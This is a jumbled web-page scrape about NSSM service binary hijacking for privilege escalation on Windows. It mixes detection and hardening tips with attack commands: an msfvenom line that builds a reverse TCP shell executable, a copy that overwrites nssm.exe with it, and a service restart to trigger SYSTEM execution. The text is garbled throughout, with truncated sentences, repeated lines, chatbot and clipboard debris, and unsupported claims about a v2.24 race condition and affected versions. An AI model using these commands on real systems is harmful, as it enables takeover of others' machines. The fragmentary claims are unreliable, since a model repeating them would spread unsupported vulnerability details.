msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT= -f exe -o service.exe Use code with caution. Copied to clipboard
copy /y c:\Temp\reverse_shell.exe "C:\Program Files\Vendor Software\nssm.exe"
While this is a hypothetical representation, it accurately conveys the logic: the attacker does not need to exploit a memory corruption bug or bypass complex mitigations – they simply that should never have existed in a secure deployment.
You're referring to a specific vulnerability! nssm224 privilege escalation updated
Monitor frequent, unexpected stopping and starting of services, which often indicates an attacker testing or executing a payload. Mitigation and Hardening Strategies
The updated privilege escalation technique focuses on the component ( nssm edit <servicename> ). While the GUI requires administrative privileges to install a service, an updated finding reveals a race condition in v2.24:
When the malicious payload runs with SYSTEM privileges, it will create child processes or execute commands that would be unusual for a legitimate NSSM‑wrapped application. Windows Event Logs (particularly – Process Creation) can help identify suspicious activity, such as a process called nssm.exe spawning cmd.exe with arguments to add a new user or disable security settings. Windows Event Logs (particularly – Process Creation) can
REM Step 4: Trigger escalation C:\Users\Public\nssm.exe restart VulnService
Check file/directory ACLs:
If you cannot update NSSM or the parent application, manually correct the permissions on nssm.exe : unexpected stopping and starting of services
To grasp why NSSM is prone to privilege escalation, you must first understand and Service Binary Hijacking on Windows. What is NSSM?
Get-ChildItem -Path C:\ -Filter nssm.exe -Recurse -ErrorAction SilentlyContinue | ForEach-Object Where-Object Modify" -and $_.IdentityReference -notmatch "NT AUTHORITY\\SYSTEM
net stop [ServiceName] && net start [ServiceName]
Windows 11 and Server 2022 introduced stricter service control manager (SCM) behavior. However, misconfigured third-party software still grants SERVICE_CHANGE_CONFIG to Authenticated Users . The method uses:
This is the most vulnerability regarding NSSM. It affects Phoenix Contact Device and Update Management (DaUM) versions prior to 2025.3.1 , as well as other software bundling nssm.exe .
Explore Creative Social Intranet